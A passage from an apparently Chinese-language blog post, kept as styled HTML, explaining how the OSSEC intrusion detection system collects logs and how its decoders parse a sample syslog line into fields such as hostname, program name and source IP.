style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">access_log</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">location</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">localfile</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="com" style="box-sizing: border-box;color: rgb(156, 148, 145);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"># 进程监控</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;localfile&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;log_format&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">command</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">log_format</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;command&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">df </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">h</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">command</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">localfile</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">Agent 不做任何日志分析/过滤，只是收集日志打包发送给 Server。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">日志分析模块接收到日志后，首先会用 decoder 解析出日志的各个字段。然后调用 rules 里的规则对内容进行匹配，输出告警内容。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">decoder 实际上也分为两个阶段：第一阶段 pre-decoding 为 ossec 内置，可以将标准的 syslog 日志，解析出基础的 hostname、program<span style="box-sizing: border-box;">name、log 字段[2]；第二阶段 decoding 根据解析出的 program</span>name 去解析出详细的字段。官方[3]的栗子：</p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px;padding: 8px 0px 6px;background-color: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);font-size: 10px;line-height: 12px;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="com" style="box-sizing: border-box;color: rgb(156, 148, 145);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"># 日志原文：</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">2013</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">11</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">01T10</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">01</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">04.600374</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">04</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">00</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> arrakis ossec</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">exampled</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">9123</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]:</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> test connection </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">from</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">192.168</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">1.1</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> via test</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">protocol1</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="com" style="box-sizing: border-box;color: rgb(156, 148, 145);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"># pre-decoding后:</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">full </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">event</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;2013-11-01T10:01:04.600374-04:00 arrakis ossec-exampled[9123]: test connection from 192.168.1.1 via test-protocol1&#39;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">hostname</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;arrakis&#39;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">program_name</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;ossec-exampled&#39;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">log</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;test connection from 192.168.1.1 via test-protocol1&#39;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="com" style="box-sizing: border-box;color: rgb(156, 148, 145);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"># decoding后：</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">decoder</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;ossec-exampled&#39;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">           </span><span class="com" style="box-sizing: border-box;color: rgb(156, 148, 145);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"># 对应上一步骤的program_name</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">srcip</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;192.168.1.1&#39;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">proto</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;test-protocol1&#39;</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">对应的 decoding 规则如下：</p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px;padding: 8px 0px 6px;background-color: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);font-size: 10px;line-height: 12px;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;decoder</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="atn" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">name</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="atv" style="box-sizing: border-box;color: rgb(61, 151, 184);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;ossec-exampled&#34;</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;program_name&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ossec-exampled</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/program_name&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/decoder&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;decoder</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="atn" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">name</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="atv" style="box-sizing: border-box;color: rgb(61, 151, 184);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;ossec-exampled-test-connection&#34;</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;parent&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ossec-exampled</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/parent&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">                               # 继承自上一标签</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;prematch</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="atn" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">offset</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="atv" style="box-sizing: border-box;color: rgb(61, 151, 184);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;after_parent&#34;</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">^test connection </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/prematch&gt;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px 